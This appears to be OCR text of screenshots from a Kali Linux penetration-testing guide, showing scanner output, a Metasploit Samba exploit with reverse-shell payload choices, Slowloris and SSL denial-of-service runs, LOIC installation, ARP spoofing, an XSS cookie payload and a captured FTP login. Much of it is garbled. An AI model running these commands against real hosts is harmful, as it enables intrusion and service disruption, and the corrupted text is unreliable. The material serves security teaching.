PHP Error Detected
Possible Source Code Disclosure

® Low

Directory Listing Detected
Internal Addresses Found

© info

News Feed Detected
Blank Body Detected
Possible AJAX code detected
Character Set Not Specified

46
59

61

56

(106 found)

(34 found)

(119 found)
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root@kali:~# scapy
INFO: Can't import python gnuplot wrapper .
WARNING: No route found for IPv6 destination
Welcome to Scapy (2.2.0)

>>> send(IP(dst="10.0.0.1",ttl:

Won't be able to plot.
(no default route?)

/TCP() ,iface="eth@",count=2000!
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@ Manual Proxy Configuration

Host or P Address 127,

(JSOCKS proxy? ()SOCKS vi/4a (+1SOCKS v5
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ERROR:
Please agree by using '--aceept'-‘option-that-the IP‘is-a-legitimate target
and that you are fully authorized to perform the test against this target.
root@kali:~# J|
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Server password

welcome to

This server does not have a password yet, please set up one:

Password

Confirm Password

Meta-Server

You can create a new project or checkout one from the Meta-Server.

New project
Checkout project
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PSCAN INFO| SPIDER | USCAN. FUZZ.

settings

Torget [host | IPva]: Port 80]:
www thesecurityblogger.com 80
Results

intemal directories:

/Wp-contentiuploads/2011/08!

Consale:

INFO Spidering wwwthesecuritybloggercom / 80

Start [findex.htmi]}

/ oK stop

emails:

extemal links:
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wwwlockpicking101.com
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Waiting for script kiddies to piss off
The force is with those who read the sourc:
Handshakes 0 0,00 h/s], 1 Conn, € Err
Handshakes 13 (66,49 h/s1, 10 Conn, © Err
Handshakes 180 [168.27 h/s], 19 Conn, 0 Err
Handshakes 357+[176. 74+h/s);"34. Comie0 Err-
Fandshakes 543 [185.76 h/sl,-44 Conn, O Errt
Handshakes 698 [155.41 h/s], SL Conn, O Err
Handshakes 842 (142,06 h/s, 58 Conn, 0 Err
Handshakes 987 [144.99 h/s, 64 Conn, 0 Err
Handshakes 1138 [151.60 h/s], 69 Conn, 0 Err
Handshakes 1296 [157.78 h/s], 73 Conn, O Err
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rootigkali:~# scapy

INFO: Can't import python gnuplot wrapper . Won't be able to plot.
WARNING: No route found for IPv6 destination :: (no default route?)
Welcome to Scapy (2.2.0)

5>
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webshag 1.10
H

PSCAN| | INFO  SPIDER USCAN  FUZZ

Settings

Torget [host | IPV4]:

www thesecurityblogger.com ok

Results
‘Open Ports; Port Details:

587
8

Console:

iNFO Scan of www.thesecurityblogger.com finished
INFO  Found 2 open port,

Status
Idie. Last scan finished @ 17/04/2013 12:05:30
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It's not just you! www.thesecurityblogger.com looks down from
here.
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x [Export Repol
Export Results;
 Port Scanner & Info & Spider & URL Scanner & Fuzzer

Output File:
| root/Desktopiresuits | open |
Output File Format:

xml v
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CCC008888800C008@EB880CC! €008880c. ... .¢C€00000000000¢ . :c0000CCCO0000000C
0000008888800008€8@800c c008088c . . .co0008880000C00000cc0CO0000CO00C
000008838@8888888800: . . ...cO8880C. . :0000000000CC00c00C0COC0000000C
C000888@8888888888800: . .08888C: €CCC000000000¢ ¢€00000000CCCOC
CCCC00888888088888800. .0800. .c08800: .€coCCCo0C00cco0cccco0000CCEC

.0C0o0.

c000CC08E8B008088800 1 :c080c. . 1¢cC00000CC0000CCCCCO000CCE

:cc0000C08880000800c .. ¢ ...+ ¢ . .coB@8Coc: scooCoonoceeee: & :ccooCCooC

:c00ccco08000000C: . coCOE@SODCCOc 000000C
€cccoCC00000Cc 0C08@8@880CCCocccce

:¢CCCCCCoocc :c0888BB8B0000C000Co0CE
- 1¢0CCCCCCC08800008000CCo0CCCo0cce

Welcome to Slowloris - the low bandwidth, yet greedy and poisonous HTTP client
Usage :

perl slowloris.pl -dns [www.example.con] -options
Type 'perldoc sluwldris( Wff elpﬁ,mh é_\ ]
J

root@kali:~/Desktop# perl smv‘)w\rrs pl—’ s mesamnt brogder-tonl]
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PSCAN INFO_ SPIDER USCAN| FUZZ

Settings |
Toroe(s) thost1, hostz..: port(s) (80, 8080
| www.thesecurityblogger.com 80 [ Stoy
r
Roo directoties [, it Expression (og (a-2}{1}{0-81{2).x1
0  Fuzz Directories & FUzz iles | Suitch to Gen Mode.
Rosulte
Targets: Results:
1403]  Jeglbin i
wor]  fsats/
(2001 Mpcontents ‘
1200]  princludes/
="
console

TARGET _Scanning ww thesecuntyblogger.com / 80
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2.4
narf [-n] [-1 interface | -p pcapfile] [[-v] pattern [expression]]

~# 11

Versiol
Usage: ur
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root@kali:~/Desktop# pwd
/root/Desktop
root@kali:~/Desktop# mkdir loic
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reot@katiz~/Desktop/loic# chmod 777 loic.sh
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root@kali:~# aptitude install git-core monodevelop

The following NEW packages will be installed:
cli-common{a} git-core libart-2.0-2{a} libart2.8-cil{a} libbonoboui2-6{a}
ibbonoboui2-common{a} 1ibgconf2.0-cil{a} libgdiplus{a}
libglade?.6-cil{a} libglade2.0-cil-dev{a} libglib2.6-cil{a}
1ibglib2.0-cil-dev{a} libgnome-vfs2.0-cil{a} libgnome2.24-cil{a}
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rootighall:~/Desktop/loic# apt-get install mono-gnes
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webshag 1.10

PSCAN INFO_ SPIDER USCAN | FUzZ

settings

Target(s) hosts, host2 Portis) (80, 8080,..1

o thesecurtybloggercom 0 [ stop

Root directoties [, ..} skip String [Nt Foundi: L

/ automatic -

Resuits

Torgets Restts:
SearchText=scriptalentdocument cookie/scriptaPhiaseSearchText=scriptalertdocument cookie!
ScrpteSearchContentClassiD=-1&SearchsectionlD=-16SearchDate=-165earchButton=Search
(301] findex.phpfcontentisearchy?SectioniD=3&SearchText=<script>alert{document cookie) </
script>
Redirected to:htp:/mw thesecurityblogger comcontentsearchy?
SectionlD=3&Searchext=scriptalertdocument cookielscrpt

—_—
Console:

ERROR Request failed. Server may be overloaded
ERROR  Request failed, Server may be overioaded.
ERROR  Request failed. Server may be overioaded.
ERROR  Request failed. Server may be overioaded.
ERROR  Request failed. Server may be overioaded.
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Slowloris HTTP DoS
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root@kali:~# thc-ssl-dos 50.87.145.132 --accept

http://www.thc.org

Twitter @hackerschoice
Greetingz: the french underground

Waiting for script kiddies to piss off
The force is with those who read the source
Handshakes © [0.0€ h/s], 1 Conn/ 8\Err
Handshakes © [0.0€ h/s], 3 Corn, ® Err
SSL: error:146770FC:SSL routines<Ssl23) GET SERVER-HELLD:unkrown protocol

#10: This does not look like SSL!
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File
root@gkali:~# route -n | awk ‘{print $2}'

rl‘)ot‘@kah [ |
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WARNING: Your browser cus

rently has iptanabled

Youdo not need Java Seript to use Autopsy and It s recommendedl that it-be turned off for sacurity reasons.

Autopsy Forensic Browser 2.24.

_ ormcam Newease [
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Q Web Application Exploits and Defenses

A Codelab by Bruce Leban, Mugdna Bendre, and Parisa Tabriz
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Nmap Output | Ports / Hosts | Topology | Host Details | Scans |
nmap ~T4 -A -v 10.0.1.0/24 [] = [pei

Initiating SYN Stealth Scan at 10:58
Scanning 5 hosts [1009 ports/host]
Discovered open port 8888/tcp on 10.0.1.104
Discovered open port 808/tcp on 10.0.1.107
Discovered open port 445/tcp on 10.0.1.107
Discovered open port 53/tcp on 10.0.1.103
Discovered open port 22/tcp on 10.0.1.103
Discovered open port 86/tcp on 10.0.1.103
Discovered open port 89/tcp on 10.0.1.107
Discovered open port 443/tcp on 10.0.1.107
Discovered open port 80/tcp on 10.0.1.104
Discovered open port 443/tcp on 10.0.1.104
Discovered open port 139/tcp on 10.0.1.107
Discovered open port 53/tcp on 10.0.1.1
Discovered open port 9100/tcp on 10.0.1.107
Discovered open port 631/tcp on 10.0.1.107

Discovered open port 9298/tcp on 10.0.1.107
Discovered open port 9111/tcp on 10.0.1.107
Discovered open port 6839/tcp on 10.0.1.107
Discovered open port 9116/tcp on 10.0.1.107
Discovered open port 9102/tcp on 10.0.1.107
Discovered open port 9226/tcp on 10.0.1.107

Discovered open port 515/tcp on 10.0.1.107
Discovered open port 9101/tcp on 10.0.1.107
Discovered open port 787/tcp on 10.0.1.184
Discovered open port 7435/tcp on 10.0.1.107
Completed SYN Stealth Scan against 10.0.1.104 in
1.27s (4 hosts left)

Completed SYN Stealth Scan against 10.0.1.107 in
1.27s (3 hosts left)

Discovered open port 5009/tcp on 10.0.1.1
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root@kali:~# route -n
Kernel IP routing table

Destination Gateway Genmask Flags Metric Ref  Use Iface
0.0.0.0 172.16.76.2 6.0.0.0 [UCH [ 0 etho
172.16.76.0 0.0.0.0 255.255.255.0 U e e 0 etho
root@kali:~# route -n | grep 'UG' | awk '{print $2}

172.16.76.2

rootikali:~# [l
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root@kal

~# sfdisk

=k

Disk /dev/sda: 3916 cylinders, 255 heads, 63 sectors/track
Warning: extended partition does not start at a cylinder boundary.

DOS and Linux will interpret the contents differently.

Units = cylinders of 8225280 bytes, blocks of 1624 bytes, counting from O

Device Boot Start

/dev/sdal ¥
/dev/sda2
/dev/sda3
/dev/sdad
/dev/sda5
root@kali:~# [

0+
3751+

]

]
3751+

End  #cyls #blocks
3751-  3752- 30130176
3916- 165- 1324033

- (<) [
- 0 ]
3916- 165- 1324032

Id
83
5

0
0
:73

System
Linux

Extended

Enpty

Enpty

Linux swap / Solaris
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:~# iptables -t nat -A PREROUTING -p tcp --destination-port 80
ECT --to-ports 10000
=~ []
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root@kal
ster/loic

/Desktop/loic# wget https://raw.github.com/nicolargo/loicinstaller/ma
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intercept | History | options |

@ Proxy Listeners

(13) Burp Froxy uses listaners to receive ncoming HTP raquasts from vour browser. You wil need to configur your

Add

(=
Ramove
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= Request &= Response 3 Break |

Welcome to the OWASP Zed Attack Proxy (ZAP)
ZAP is an easy to use integrated penetration testing tool for finding vulnerabilities in web applica
Please be aware that you should only attack applications that you have been specifically been giv.

To quickly test an application, enter its URL below and press 'Attack’.

URL to attack [hutp://google-gruyere.appspot.com/ 326352883334/
(4 Avtack )| W stop
Progress: Attack complete - see the Alerts tab for details of any issues found

For a more in depth test you should explore your application using your browser or automated re
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cmd/unix/bind_perl
erl)
cnd/unix/bind_perl_ipve
erl) IPve
cnd/unix/bind_ruby
uby)
‘cnd/unix/bind_ruby_ipv
uby) IPV6
cmd/unix/generic
tion
cnd/unix/reverse
TCP (telnet)
cnd/unix/reverse_netcat
a netcat -e)
cnd/unix/reverse_perl
a perl)
cnd/unix/reverse_python
a Python)
cmd/unix/reverse_ruby
a Ruby)

Unix Command Shell, Bind TCP (via P
Unix Command Shell, Bind TCP (via p
Unix Command Shell, Bind TCP (via R
Unix Command Shell, Bind TCP (via R
Unix Command, Generic Command Execu
Unix Command Shell, Double reverse
Unix Command Shell, Reverse TCP (vi
Unix Command Shell, Reverse TCP (vi
Unix Command Shell, Reverse TCP (vi

Unix Command Shell, Reverse TCP (vi

st exploit(usernap_script) > set PAYLOAD cnd/unix/reverse

PAYLOAD => cmd/unix/reverse
msf exploit(usermap script) >
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5/25/13 62:15:18 tep 172.16.76.128.44837 -> 192.166.76.2 (ftp)
USER adein
PASS passwordl2d 70 O
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cmd/unix/bind netcat_ipvé
etcat -e) IPVG
cnd/unix/bind_perl
erl)
cnd/unix/bind_perl ipvé
erl) IPv6
cnd/unix/bind_ruby
uby)
cnd/unix/bind_ruby ipvé
uby) IPV6
cnd/unix/generic
tion
cnd/unix/reverse
TCP (telnet)
cnd/unix/reverse netcat
a netcat -e)
cnd/unix/reverse perl
a perl)
cnd/unix/reverse python
a Python)
cnd/unix/reverse_ruby
a Ruby)

msf exploit(usermap script) >

Unix Command Shell,
Unix Command Shell,
Unix Command Shell,
Unix Command Shell,

Unix Command Shell,

Bind TCP (via n
Bind TCP (via P
Bind TCP (via p
Bind TCP (via R

Bind TCP (via R

Unix Command, Generic Command Execu

Unix Command Shell,
Unix Command Shell,
Unix Command Shell,
Unix Command Shell,

Unix Command Shell,

Double reverse
Reverse TCP (vi
Reverse TCP (vi
Reverse TCP (vi

Reverse TCP (vi
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root@kali: ~

:~# arpspoof -i eth0 -t 10.0.1.240 10.0.1.1J
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LOG IN

&
rd The application's digital signature cannot be verified.
Do you want to run the application?
| Login Mame:  Trusted Java Applet (VERIFIED SAFE)

]

This spplcation wil run ith unresriced acces which may pul
your parsonalinformation st k. Run th applcation only fyou Mors Information...
trust the publsher.
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root@kalii~# mkdir /mnt/windows
root@kaliz~# mount -t ntfs-3g /dev/hdbl/mnt/windowsl]
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msi > use exploit/multl/samba/usermap_script
msf exploit(usermap_script) > show options

Module options (exploit/multi/sanba/usermap script):

Name Current Setting Required Description

RHOST yes The target address

RPORT 139 yes The target port
Exploit target:

Id Name

8 Automatic

msf exploit(usermap script) >
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rmap T4 -A v -7n 100.1.0724 Scan

potie|sca o scping e surce | oer s | B s

Ping options
L Send SCTP INIT chunk
Bont ping before scanning (P} packets to see if targets are

0 1EMP ping (-PE) . Gvealitof poms o
jeave the argument blank to
(] ICMP timestamp request (-PP) o s Bers o

[ ICMP netmask request (~PM)

0 Ackping Com | e
I SYN ping (-PS) 1

03 00P probes (70 I

O3 iPproto probes (-PO)

1 SCTP NITping probes () |

S cancel| [ save changes
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mst > search samba type:exploit platform:unix

Matching Modules

Name Disclosure Date
Description

exploit/Linux/samba/setinfopolicy heap 2612-04-10 00:80:00 UTC
al  samba SetInformationPolicy AuditEventsInfo Heap Overflow

exploit/multi/sanba/usernap_script 2607-05-14 60:00:00 UTC
Ulent Samba “username map script* Command Execution

exploit/unix/webapp/citrix access gateway exec 2019-12-21 09:00:00 UTC

Ulent Citrix Access Gateway Command Execution
msf > use exploit/multi/samba/usermap script J|

Rank

norm
exce

exce
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172.16.189.131
172.16.189.131
172.16.189.131
172.16.189.131
e 1.1

3306
5432
8009
8180

tep
tep
tep
tep

mysql
postgresql
ajp13.

http

open
open
open
open

nsf > search samba type:exploit platform:unix

Matching Modules

Name
Descripti

exploit/linux/sanba/setinfopolicy_heap

on

MySQL 5.8.51a-3ubuntus
PostgresQL DB 8.3.0 - 8.3.7
Apache Jserv Protocol v1.3
Apache Toncat/Coyote JSP engin

Disclosure Date Rank

2012-04-16 00:00:00 UTC norm

al  samba SetInformationPolicy AuditEventsInfo Heap Overflow
exploit/multi/sanba/usernap_script

Uent Samba "username map script” Command Execution
exploit/unix/webapp/Citrix access gateway exec 2010-12-21 86:00:08 UTC exce

Ulent Citrix Access Gateway Command Execution

asf >

2007-05-14 00:00:00 UTC exce
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Intense scan )

Intense scan

Intense scan plus UDP
Intense scan, all TCP ports
Intense scan, no ping

Ping scan

Quick scan

Quick scan plus

Quick traceroute

Regular scan

Slow comprehensive scan
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8,00, Burp Spider - Submit Form

Burp Spider needs your quidance to submit a login form, Please choose the value of each form feld which should be used when
submitting the form. You can control how Burp handies farms in the Spider options tab.

Action URL: hitp/ fvaww drchaos.com] wp-login.php
Method:  POST

i o
Checkbox eeBme

Hidden testcookie
_ = ]

Wp-submit=Log In
redirect to hitp./ e drchaos.com/wp-sdrmin
fog

submit form | | tanore form.
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Manage Add-ons.

(s iegee]

‘Addons

Status | Nams | Descripti

| Update

Release  Fuzdb files Fuzdb v1.09 files which can be used with the ...
geta  Beanshell Console Provides a Beanshel Console

Beta  Passive scanner rules ... The beta quality Passive Scanner rules

Beta  Port Scanner Allows to port scan a target server

Beta  Report alert generator  Allows yoli to generate reports for alerts you
Beta  Script Console Provides dynamic access to internal ZAP data ...
Beta SV Diggerfiles SVN Digger files which can be used with ZAP .
Beta  Token generation and... Allows you to generate and analyze pseudo ra...
Beta  TreeTools Tools to add functionality to the tree view.
Alpha  Active scanner rules (... The alpha quality Active Scanner rules

Alpha  Diff Displays a dialog showing the diferences bet...
Alpha  Highiighter Allows you to highiight strings in the request a...
Alpha  Passive scanner rules ... The alpha quality Passive Scanner rules

Alpha  SCIP -Control Event E...Identify. enumerate and activate dormant and...
Alpha  Server-Sent Events Allows you to view Server-Sent Events (SSE) ¢
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L http:/ /themes. googleusercontent.c
L hup:/ ftracking.hostgator.com i
» [ ™ http:/ fwww.drchaos.com

» L] ™ http://www.facebook.com
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Zenmap

Scan Tools | | Help

T
| | Profile; |Intense scan

New Brofile or Command CtrltP |

Target:

Edit Selected Profile Ctri+E
Command: Fmap Th-A-v

[ Hosts || services ‘ Nmap Output | Ports / Hosts | Topology | Host Details Scans |
(

0S Host v
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t@kalize bkhive /win/WINDOWS/system32/config/system key.txt
bknive 1.1.1 by Objectif Securite
NTtp://ww. objectif-securite. ch
original author: ncuomo@students.unina.it

Root Key : 3|
Default Controlset: 002

Bootkey:
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newpasswordlist.txt
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Services

host
172.16.189.131
172.16.189.131
protocol 2.8
172.16.189.131
172.16.189.131
172.16.189.131
172.16.189.131

name
ftp
ssh

telnet
smtp
domain
http

P/5.2.4-2ubuntu5.10 with Suhosin-Patch

172.16.189.131
GROUP

172.16.189.131
172.16.189.131
172.16.189.131
172.16.189.131
172.16.189.131
e 1.1

port proto
21 tep
2 top
23t
25 top
53 tep
80 tcp
139 tep
445 top
3306 tcp
5432 tcp
8009 tcp
8180 tcp

netbios-ssn

microsoft-ds
mysql
postgresql
ajp13

http

open

open
open
open
open
open

info

ProfTPD 1.3.1
OpensSH 4.7pl Debian 8ubuntul

Linux telnetd
Postfix smtpd

Apache httpd 2.2.8 (Ubuntu) PH
samba smbd 3.X workgroup: WORK
MySQL 5.0.51a-3ubuntus
PostgresqL DB 8.3.0 - 8.3.7

Apache Jserv Protocol v1.3
Apache Tomcat/Coyote JSP engin
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[ Tools Online Help

Export Messages to Fle,
Export Response to File
Export All URLS to File,
Compare with another Session,
enerate HTML Report.
Generate XML Report,
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Lo}

= A PG

Advanced

el

General Tabs Comtent Appiications Prvacy Securty  Sync | Advanced
Configure Proxies to Access the Internet
G ONoproxy
o (Auto-detect proxy settings for this network
") Use system proxy settings
C (®) Manual proxy configuration:
‘) HTTP Proxy: |172.16.76.131 | Port: | 8008][1]
- | Use this proxy server for all protocols
| SSL Proxy: Port: 8
FTP Proxy: Port: o3
ol .
SOCKS Host: Port: oz
v

(CISOCKS v4 (+)SOCKS v5
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root@kali:~# dd if=/dev/sdab of=mytestimage.dd
2648064+0 records in
2648064+0 records out
1355808768 bytes (1.4 GB) copidd, 1110758 s, 122 MB/J

root@kali:~# ls
Desktop fimap.log LOIC loic.sh Syteatinage-dd Thtprpet
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[nmap -T4 -4 -v10.0.1.0124

| Profile | Scan | Ping | Seripting | Target  Source Other  Timing

Scan options
Targets (optional): 10.0.1.0/24|
TCP scan | None <

Non-TCP scans: !Nune <

Timing template: | Aggressive (-T4) )
Enable all advanced/aggressive options (-A)

[ Operating system detection (-]

[ Version detection (-sV)

[ Idle Scan (Zombie) (-sI)
O] FTP bounce attack (-b) |

[ Disable reverse DNS resolution (-n)
[ 1Pv6 support (-6)
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*Cookie Injector” installed successfully. 3%

ok v
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map T4 -A

Profile | Scan | Ping | Scripting | Target | Source Other Timing \

Profile Information

Profile name [My First Scan

Description  3-20-13 at 11:00am CDT
DrChaos network Scan. Target hosts 10.0.1.0/24]
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Request &= Response 3 break |






OEBPS/Image00087.jpg
@ [ google-gruyere.appspot.com/326352883334 /%26t %261t

Home
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it Invalid request: /<
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oot@kali:~# ifconfig | grep "eth"
othe Link encap:Ethernet HWaddr 08:0c:29:49:
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Scan Tools Profile Help

!
Tages [iog 10720 =] ot meme v "] ] o]

Command: [map T4 A~ 10010128
[Tt _senices | Nima O s s Tapoosy s bt scs |
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1001103
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* Johnny

Open Passw File Start Atack .

@ | General options

Passwords | Format

Mode selection and settings
i © Default behaviour

single crack’ mode
Statistics | © Wordlist mode

ncremental” mode

External mode

setings.

Default benaviour | *Single crack” mode _ Wordlist mode

dummy
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_Scan_Tools Profile Help

Tases [ooran <] ot e s

Command, [rmap T4 A v 1001672

[ests]_serices | imap s [ros ot | apotoy s Dt s

o5 |Host  +| [F1001te0

T 10011 = Hoststatus.

B 1001103 = = @
pen ports
€ nohuiue Filtered ports: 0

U 1001107 Closed pors: 996

U 001112 Scanned ports: 1000

© 1001113 Uume 79217

W 0112 Lastboatl  Wed Mar 20 023316 2013
W 1001125 ~ Adrusia

4 1001340 v 1001140

1001142 16 Not available

MAC: 00.0D.C5:86:50 6

~ Operating System
Name:  Dish Network VIP 722k DVR (Linux 26

v T

+ Ports used
> 05 Classes

+ TCP Sequence,
+ 1P ID Sequence

» TCP TS Sequence

+ Comments.

Fllter Hosts
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Table I Directory. | staws |
X free fast nctinstalle
|Eibsenissy @ XP free small netinstalle
@ XP special netinstalle
 XP germanv1 netinstalld
® Xp german v2 nctinstalle
@ vista special netinstalle
@ vista free netinstalle
@ vista nine netinstalle
@ vista eight nctinstalle
@ vista num nctinstalle
® vista seven nctinstalle

@ xP flash netinstalle §= —
@ vista eight XL nctinstalle
—_—

@ =embled s =disabled @ =notinstalled

AHVH.H.‘ | nstal || ok |

Preload: | waiting | Brute forc

[ waiting | Pwdfound:| 00 | Timeelapsed: | ohom os
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Scan Jools Profile Help

Turger 1010720

i e scon Ell=lE
Command: [amsp T4 A v 10.0.0.0/24

Hosts [Serices | Nmap Outpu |Ports  Hosts [ Topology | Host Detais[Scans |

= o[ [omap-Ti-A-v 0010728 Deais
DragoniDSConsole  Uptime quess: 13.319 days (since Thu Mar 7 15:48:25 2013)
arpor-admin Batuork dlstince; 1 hoo
T Sequence Prediction: 0ifficulty=260 (Good luck!)
o 1510 Sequence Genaration: Randon:bed
domain TRACEROUTE
o HOP RIT AoDRESS
& 1 5.12 a5 10.0.1.10
ey Nap scan report for 10.0.1.107
Host is up (0.0063s latency).
netbos-s3n Not shown; 984 closed parts
PORT *““STATE SERVECE verston i}
L 80/tcp  open http HP Officejet Pro 8600 printer http config
e (Serial OUZTKBAHXOOSKC)
|_http-favicon: Unknown favicon MDS: A14D3BAAGA6746D1A77AFBIELDC82FOF
s | Dttpnetnods: GET

| _http-title: Site doesn’t have a title (text/htal; charset=UTF.8).

SNEL-SENSOT-MIME | 139/tcp open tcpurapped

ssh open ssl/http P Officejet Pro 8600 printer http contig
CHZTKBIHXOOSKC)

sun-apswerbook [ nttp-tavicon: Unknown favicon HDS: A14DIBAAGAG746D1ATIAFBIEIDCE2FOF

tcpwrapped Ihttp.nethods: GET

I http-title: Site doesn’t have a title (text/htal; charset=UTF:8).
unknown | sslocert: Subject: connonNane=HPC77610/organizationNane=HP/
State0rProvinceNane=Washington/count ryliame=Us
| Tssuer: connonllame=HPC77610/0rgani zat ionkane=HP/stateOrProvinceNane=Hashington/
count ryMlame-US
| Public Key type
| Public Key bits: 1024
| Not valid before: 2012-68-03714:39:21+00:00
| Not valid after: 2032.67.20T1:39:21400:00
1
I

rsa

MDS:  cade Ode8 7081 bebe aB7b aefa 27a0 e10d
SHA-1: 9leS coba 5985 c739 cOSO 6437 500a 5257 f896 cSc7

|
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root@kali: ~

THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

The above licensing was taken rom the BSD licensing and is applied to Social-En
gincer Toolkit as woll.

Note that the Social-Engineer ~oolkit is provided as is, and is a royalty free o
pen-source application.

Feel free to modify, use, change, market, do whatever you want with it as long a
s you give the appropriate credit where credit

is due (which means giving the authors the credit they deserve for writing it).
Also note that by using this software, if you ever

see the creator of SET in a bar, you should give him a hug and buy him a beer. H
ug must last at least 5 seconds. Author

holds the right to refuse the hug or the beer.

. ) K Vg $3a ek 7] FoF) o & )

a ) hRU S [kt bdes S

Do you agree to the terms of service [y/n]: |
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Network Modules

network/arp_dos
network/mfod
network/mitm
network/mlitn
network/webkiller
network/fakeupdate
network/fakeap

Exploit Modules
exploit/autopwn
exploit/browser_autopun
exploit/java_applet

Wireless Modules
wifi/wifi_jammer
wifi/wifi_dos

—1

Description

ARP Cache Denial Of Service Attack
Middle Finger Of Doom Attack

Man In The Middle Attack

Man Left In The Middle Attack

TCP Kill Attack

Fake Update Attack Using DNS Spoof
Fake Access Point

Description
Metasploit Autopwn Service
Metasploit Browser Autopwn Service
Java Applet-Attack- (Using HTHL)

Description

Wifi Jammer
Wifi Dos Attack
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Y d. U @ Q@ @ e

Delete  Save  Tables Crack  Help  Exit About
Preferences
NTHash | MPwdl | LMPwd2 NTPwd
| Table Directory status Progress

[

‘Prﬂoad:’ waiting | Bruteforce: | waiting | Pwd found: 0/0 Time elapsed: | 0h 0m 0s.
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Zenmap

Scan Tools | | Help

T
| | Profile; |Intense scan

New Brofile or Command CtrltP |

Target:

Edit Selected Profile Ctri+E
Command: Fmap Th-A-v

[ Hosts || services ‘ Nmap Output | Ports / Hosts | Topology | Host Details Scans |
(

0S Host v
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root@kali:~# sfdisk -1

Disk /dev/sda: 3916 cylinders, 255 heads, 63 sectors/track

jarning: extended partition does not start at a cylinder boundary.

DOS and Linux will interpret the contents differently.

Units = cylinders of 8225280 bytes, blocks of 1624 bytes, counting from 0

Device Boot Start End #cyls  #blocks Id System

/dev/sdal  * 6+ 3751- 3752- 30130176 83 Linux

/dev/sda2 3751+ 3916~  165- 1324633 5 Extended

/dev/sda3 [ - 0 [

/dev/sdad o - 0 o 0 Empty

/dev/sda5 3751+ 3916-  165- 1324032 82 Linux swap / Solaris

root@kaliz~# |
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8 06 " alakhani — bash — 80x24

Last login: Tue Mar 19 23:50:26 on ttyse0o
chaos:~ alakhani$ dig -t ns cloudcentrics.com

<<>> DiG 9.8.3-P1 <<>> -t ns cloudcentrics.com
; global options: +cmd

Got answer:

; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 15672

flags: ar rd ra; QUERY: 1, ANSWER: 2, AUTHORITY: 0, ADDITIONAL: 0

i3 QUESTION SECTION:
cloudcentrics.com. N NS

i ANSWER SECTION:
cloudcentrics. com. 85749 1IN NS ns3681.hostgator. com.
cloudcentrics. com. 85749 IN NS ns3682. hostgator. com.

5 Query time: 5 msec
SERVER: 10.0.1.1#53(10.0.1.1)
i WHEN: Wed Mar 20 00:04:53 2013
i MSG SIZE rcvd: 87

chaos:~ alakhanis I
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Terminal

srenTermin

R 2.0 side-jacking tool -~
Set browser to use proxy AEtp://127.0
DEBUG: set_ports_option(123
DEBUG: mg_open_Listening_port (1234)
Proxy: istening on 127.0.6.1:1234
bagining thrsad
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(e 4

Home of the Social-Engineer Toolkit

The Social-Engineer Toolkit (SET) Report Generator

Report generated by the Social-Engineer Toolkit

Welcome to the Social-Engineer Toolkit Report Generation Tool. This report should contain information obtained during a
successful phishing attack and provide you with the website and all of the parameters that were harvested. Please remember
that SET is open-source, free, and avallable to the information security community. Use this tool for good, not evil.
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8.0.0.. s RO RO Stan
Select Mode: ([Completely disable FoxyProxy. %)

Use proies based o e pre-dafined paterns and riorties
Uk prowy 127,001,808 for all URLs

| Use oy "Defalt or al Uil

e
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skipfish version 2.09b by lcamtuf@google.com
- ww. thesecurityblogger. con -
Scan statistics:

Scan time : 0:00:27.858
HTTP requests : 1167 (42.6/s), 612 kB in, 244 kB out (30.8 kB/s

Compression : 322 kB in, 550 kB out (26.1% gain)

HTTP faults : O net errors, @ proto errors, 0 retried, 0 drops
TCP handshakes : 22 total (54.5 reg/conn)

TcP faults : 0 failures, O timeouts, 1 purged

External links : 119 skipped

Reqs pending : 31

Database statistics:
Pivots : 123 total, 1 done (0.81%)

In progress : 107 pending, 13 init, 1 attacks, 1 dict
Missing nodes : 1 spotted

Node types : 1 serv, 34 dir, 11 file, @ pinfo, 54 unkn, 23 par, @ val

Issues found : 5 info, 0 warn, 8 low, 4 medium, © high impact
Dict size : 2506 words (335 new), 76 extensions, 256 candidates
Signatures : 75 total
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Kali Linux

i Forms

Disable Cookies

( Add Cookie. CK.CC

Delete Domain Cookies
Delete Path Cookies

Delete Session Cookies

© DOWN ey Cookie Information HELP @ F
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ndSsun: mytes: No such file or directory
root@kali:~# mdSsun mytestimage.dd
ObOdSc f41b6d18181ddad5898450fa2c  mytestimage.dd

root@kali:~# [
AR A A ARAAATYY
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root@kali:/# httrack

Welcome to HTTrack Website Copier (0ffline Browser) 3.
és;&ilght (C) Xavier Roche and other contributors

To see the option list, enter a blank line or try httr
Enter project name :drchaos.com

Base path (return=/root/websites/) :/root/mywebsitesf]
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Last login: Tue Sep 10 10:28:12 on console
rtp-jomuniz-8815:~ jomuniz$ ping www.googe.com
PING www.googe. com (72.44.93.94): 56 data bytes
64 bytes from 72,44.93.94; 45 tine=123.566 ms
64 bytes from 72.44.93.9

64 bytes from 72.44.93.9 45 tine=106.218 ms
64 bytes from 72.44.93.9 45 tine=116.499 ms
64 bytes from 72.44.93.9 45 time=116.566 ms

ac

~—— www.googe.com ping statistics ---

5 packets transmitted, 5 packets received, 0.0% packet loss
round-trip min/avg/max/stddev = 106.218/114.638/123.566/5.935 ms
rtp-jomuniz-8815:~ jomunizs [
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E@¥ -0

Host | Method | Request | Status| Length

Hetp://www. these GET

at http//www.thess GET | /wp-content/ 200 o 162
2 http://www.these GET | /wp-includes/ 200 110437 251
|3 http://www.these GET | /xmlrpc.php. 200 42 123

4 http//www these GET | jwp-includesfjs/ | 200 | 5152 217

5 httpi//www.these GET | /wp-includes/them: 200 877 %0

we

Request | Response

<title>Joey Muniz - The Security Blogger</title>
<link rel="profile" href="http://gmpg.org/xfn/11"
stylesheet” type="text/css" media="all" href

<link rel http://www. thesecuritybl

<link rel="alternate" type="application/rss+xml" title="The Security Blogger &raqur
ttp://www. thesecurityblogger.com/w,

tylesheet’ id='gdsr_style_main-css' href="http://www.thesecurityblogge
as%23s1perystal’%23s1pdarkness%23s1pexygents 23s1goxygen_gif623s1pplain¥23

<link rel="stylesheet’ id='qdsr_style_xtra-css_href 1)
(T — )

@ Proxyis
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Authentication

Username:

Password:

Login
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1o quikdy test an aslcatin.este s U baow and press Atack.
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o v
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Focsdtione | rem® | pwamas) | ipsemons | wevsoowss¥ | waxspuec® | oupt
Ste: www thesecuriyblogger.com90 v) + 1| | S Curent Scan 1 | U Faund 745 &
Frocesses | Matrod | um. s -
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Base path (return=/root/websites/) :/root/mywebsites
Enter URLs (separated by commas or blank spaces) :www.drchaos.con

Action:
(enter)

mirror webiSite(s) LU

Mirror Web Site(s) with Wizard

Just Get Files Indicated

